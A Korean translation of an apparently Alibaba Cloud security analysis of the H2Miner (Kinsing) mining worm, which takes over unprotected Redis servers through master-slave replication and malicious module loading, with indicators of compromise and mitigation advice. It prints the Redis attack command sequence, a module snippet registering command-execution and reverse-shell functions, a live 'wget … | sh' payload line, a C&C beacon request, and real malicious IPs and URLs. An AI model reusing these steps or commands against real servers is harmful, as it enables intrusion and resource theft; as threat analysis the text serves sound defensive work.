Redis RCE를 악용하는 H2Miner 웜의 새로운 발생이 발견되었습니다.

하루 전, 내 프로젝트 서버 중 하나가 비슷한 웜의 공격을 받았습니다. "그게 뭐였지?"라는 질문에 대한 답을 찾기 위해 Alibaba Cloud 보안팀의 훌륭한 기사를 찾았습니다. Habré에서 이 기사를 찾지 못했기 때문에 특별히 당신을 위해 번역하기로 결정했습니다 <3

기입

최근 Alibaba Cloud의 보안팀은 H2Miner의 갑작스러운 출현을 발견했습니다. 이러한 유형의 악성 웜은 인증이 부족하거나 Redis에 대한 취약한 비밀번호를 시스템 게이트웨이로 사용한 후 마스터-슬레이브 동기화를 통해 자체 악성 모듈을 슬레이브와 동기화하고 최종적으로 이 악성 모듈을 공격된 시스템에 다운로드하고 악성 코드를 실행합니다. 지침.

과거에는 공격자가 Redis에 로그인한 후 시스템에 기록된 SSH 키나 예약된 작업과 관련된 방법을 사용하여 시스템에 대한 공격이 주로 수행되었습니다. 다행히 이 방법은 권한 제어 문제나 시스템 버전 차이로 인해 자주 사용할 수 없습니다. 그러나 이러한 악성 모듈 로드 방법은 공격자의 명령을 직접 실행하거나 셸에 접근할 수 있어 시스템에 위험할 수 있습니다.

인터넷에 호스팅되는 Redis 서버의 수가 많기 때문에(거의 1만 개) Alibaba Cloud의 보안 팀은 사용자가 온라인에서 Redis를 공유하지 말고 정기적으로 비밀번호의 강도와 손상 여부를 확인할 것을 권장합니다. 빠른 선택.

H2Miner

H2Miner는 Hadoop 원사, Docker 및 Redis 원격 명령 실행(RCE) 취약점의 인증 부족을 포함하여 다양한 방법으로 시스템에 침입할 수 있는 Linux 기반 시스템용 마이닝 봇넷입니다. 봇넷은 악성 스크립트와 악성 코드를 다운로드하여 데이터를 마이닝하고, 공격을 수평적으로 확장하며, 명령 및 제어(C&C) 통신을 유지하는 방식으로 작동합니다.

레디스 RCE

이 주제에 대한 지식은 ZeroNights 2018에서 Pavel Toporkov가 공유했습니다. 버전 4.0 이후 Redis는 사용자가 특정 Redis 명령을 실행하기 위해 C로 컴파일된 파일을 Redis로 로드할 수 있는 기능을 제공하는 플러그인 로딩 기능을 지원합니다. 이 기능은 유용하기는 하지만 마스터-슬레이브 모드에서 파일이 전체 재동기화 모드를 통해 슬레이브와 동기화될 수 있는 취약점을 포함하고 있습니다. 이는 공격자가 악성 so 파일을 전송하는 데 사용될 수 있습니다. 전송이 완료된 후 공격자는 공격받은 Redis 인스턴스에 모듈을 로드하고 명령을 실행합니다.

악성코드 웜 분석

최근 알리바바 클라우드 보안팀은 H2Miner 악성 채굴자 그룹의 규모가 갑자기 급격히 증가한 사실을 발견했습니다. 분석에 따르면 일반적인 공격 발생 과정은 다음과 같다.

H2Miner는 본격적인 공격을 위해 RCE Redis를 사용합니다. 공격자는 먼저 보호되지 않은 Redis 서버나 비밀번호가 취약한 서버를 공격합니다.

그런 다음 명령을 사용합니다. config set dbfilename red2.so 파일 이름을 변경하려면 . 그 후 공격자는 명령을 실행합니다. slaveof 마스터-슬레이브 복제 호스트 주소를 설정합니다.

공격받은 Redis 인스턴스가 공격자가 소유한 악성 Redis와 마스터-슬레이브 연결을 설정하면 공격자는 파일을 동기화하기 위해 fullresync 명령을 사용하여 감염된 모듈을 보냅니다. 그런 다음 red2.so 파일이 공격받은 시스템에 다운로드됩니다. 그런 다음 공격자는 ./red2.so 로딩 모듈을 사용하여 이 so 파일을 로드합니다. 모듈은 공격자의 명령을 실행하거나 역방향 연결(백도어)을 시작하여 공격받은 시스템에 액세스할 수 있습니다.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

다음과 같은 악성 명령을 실행한 후 / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, 공격자는 백업 파일 이름을 재설정하고 시스템 모듈을 언로드하여 흔적을 정리합니다. 그러나 red2.so 파일은 공격받은 시스템에 계속 남아 있습니다. 사용자는 Redis 인스턴스 폴더에 의심스러운 파일이 있는지 주의하는 것이 좋습니다.

공격자는 리소스를 훔치기 위해 일부 악성 프로세스를 종료하는 것 외에도 악성 스크립트를 따라 악성 바이너리 파일을 다운로드하고 실행하여 142.44.191.122/킨싱. 이는 호스트에 킨싱이 포함된 프로세스 이름이나 디렉터리 이름이 해당 컴퓨터가 이 바이러스에 감염되었음을 나타낼 수 있음을 의미합니다.

리버스 엔지니어링 결과에 따르면 악성코드는 주로 다음과 같은 기능을 수행한다.

• 파일 업로드 및 실행
• 채광
• C&C 통신 유지 및 공격자 명령 실행

영향력을 확대하려면 외부 스캐닝용 Masscan을 사용하세요. 또한, 프로그램에는 C&C 서버의 IP 주소가 하드코딩되어 있으며, 공격을 받은 호스트는 HTTP 요청을 이용해 C&C 통신 서버와 통신하게 되는데, 이때 HTTP 헤더에서 좀비(침해된 서버) 정보가 식별된다.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

기타 공격 방법

웜이 사용하는 주소와 링크

/킨싱

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

s&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

이사회

첫째, Redis는 인터넷에서 액세스할 수 없어야 하며 강력한 비밀번호로 보호되어야 합니다. 또한 클라이언트가 Redis 디렉터리에 red2.so 파일이 없고 호스트의 파일/프로세스 이름에 "kinsing"이 없는지 확인하는 것도 중요합니다.

출처 : habr.com